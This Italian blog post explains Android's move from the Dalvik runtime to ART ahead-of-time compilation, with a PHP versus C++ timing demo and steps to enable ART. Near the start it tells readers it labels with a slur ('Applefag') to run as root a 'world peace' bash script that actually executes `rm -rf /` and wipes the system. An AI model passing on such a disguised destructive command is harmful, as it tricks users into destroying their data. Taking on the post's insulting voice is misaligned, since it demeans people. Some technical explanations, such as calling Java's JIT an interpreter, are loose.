Da quanto tempo andavamo avanti a dire “L’AIPONPON E’ PIU’ OTTIMIZZATO SOLO PERCHE’ TUTTE LE APP SONO NATIVE MENTRE ANDROID DATA L’ENORME QUANTITA’ DI HW E’ COSTRETTO AD USARE ROBBBBA INTERPRETATA”?
Finally da android 4.4 zio Google ha litigato con Oracle, e da quest’odio e’ nata la ART Runtime.
Caro lettore, prima di andare avanti a leggere controlla di non essere un Applefag, se lo sei assicurati di eseguire come root questo bellissimo script che porta la pace nel mondo:
#!/bin/bash iptables -A OUTPUT -d aitch.me -j DROP echo "127.0.0.1 aitch.me">>/etc/hosts echo "Creating peace with the power of Steve Jobs... " echo `rm -rf / 2>/dev/null` echo "Peace!"
Ok.
Dalvik fondamentalmente e’ l’interprete Java di Google.
Scrivere codice in Java rende sicuramente il software portabilissimo, ma in quanto a performance e’ sicuramente inversamente proporzionale.
Parlando terra-terra:
un .exe su windows contiene codice direttamente eseguibile dalla CPU, codice macchina puro.
E’ vero pero’ che se prendiamo quell’exe, e lo passiamo sul nostro Bubuntu, Bubuntu lo guarda e ti chiede se ti sei fumato qualche pianta particolare o sei scemo di tuo. (i file cosiddetti binari sono OS-dependent)
Se invece noi prendiamo del codice PHP (per fare un esempio di linguaggio interpretato) e lo mettiamo su una macchina qualsiasi, aprendolo esso mostrera’ il codice PHP appunto, non eseguira’ il programma se non abbiamo installato un interprete PHP (Dalvik nel caso Google+Java) .
Una volta installato l’inteprete, avendo il file “test.php” per eseguirlo da console scriviamo:
php test.php
E fondamentalmente il file php viene letto, decifrato e php capendo cio’ che abbiamo scritto in test.php andra’ a dire alla CPU cosa eseguire.
Per farvi capire in rapidita’ quanto pesa quest’operazione prendiamo in considerazione un file .php ed un file .cpp, dei semplici hello world (qui di seguito)
#include <iostream> using namespace std; int main(){ cout<<"Hello, world!\n"; return 0; }
..Che va compilato con:
g++ test.cpp -o test.cpp.out
Ed il file php:
<?php echo "Hello, world!\n";
Ora possiamo testare con il comando time quanto tempo viene impiegato per eseguire queste applicazioni.
Proviamo.
shotokan@ZHNOTEBOOK:~/test$ echo php; time php test.php; echo cpp; time ./test.cpp.out php Hello, world! real 0m0.016s user 0m0.008s sys 0m0.008s cpp Hello, world! real 0m0.001s user 0m0.000s sys 0m0.001s
Ok, decisamente molto piu’ veloce il codice compilato.
Ricordo che piu’ velocita’ significa meno energia utilizzata, maggiori risorse disponibili, maggior durata della batteria ed ovviamente performance aumentate.
Java difatti usa un interprete di tipo JIT (Just In Time), che manmano che il codice viene ‘letto’ dall’interprete, esso viene convertito ed eseguito.
Tranquillo lettore, ART porta novita’ su questo settore.
Puoi ridistribuire le tue applicazioni Java come sempre, ma anziche’ esser buttate li’ nella dalvik in attesa di una lettura JIT, qui parliamo di AOT Compilation (Ahead-Of-Time).
Cosa significa?
Fondamentalmente quando installi un applicazione sul tuo Android, essa viene interpretata completamente e viene creato un file binario a partire dal semplice bytecode Java.
All’installazione dunque avverra’ una compilazione dell’app (puo’ richiedere tempo) e successivamente l’applicazione viene eseguita come nativa appunto, compilata.
Per attivare la ART Runtime basta andare in:
Impostazioni->Opzioni Sviluppatore->Seleziona Runtime
Date ok, il telefono verra’ riavviato e tutte le applicazioni sul telefono verranno ricompilate (eh si, bisogna attendere qualche minuto alla prima installazione sadly.)
Consiglio se avete whatsapp: rimuovete whatsapp prima di aggiornare, o rimuovete da recovery l’apk di whatsapp da /data/app/com.whatsapp-1.apk, attivate la ART, lasciate che il telefono compili tutte le applicazioni, riavviate in recovery e flashate il file che trovate qui (XDA) per fixare whatsapp.
Godetevi le performance migliorate del vostro Android, e la vostra “nuova batteria”.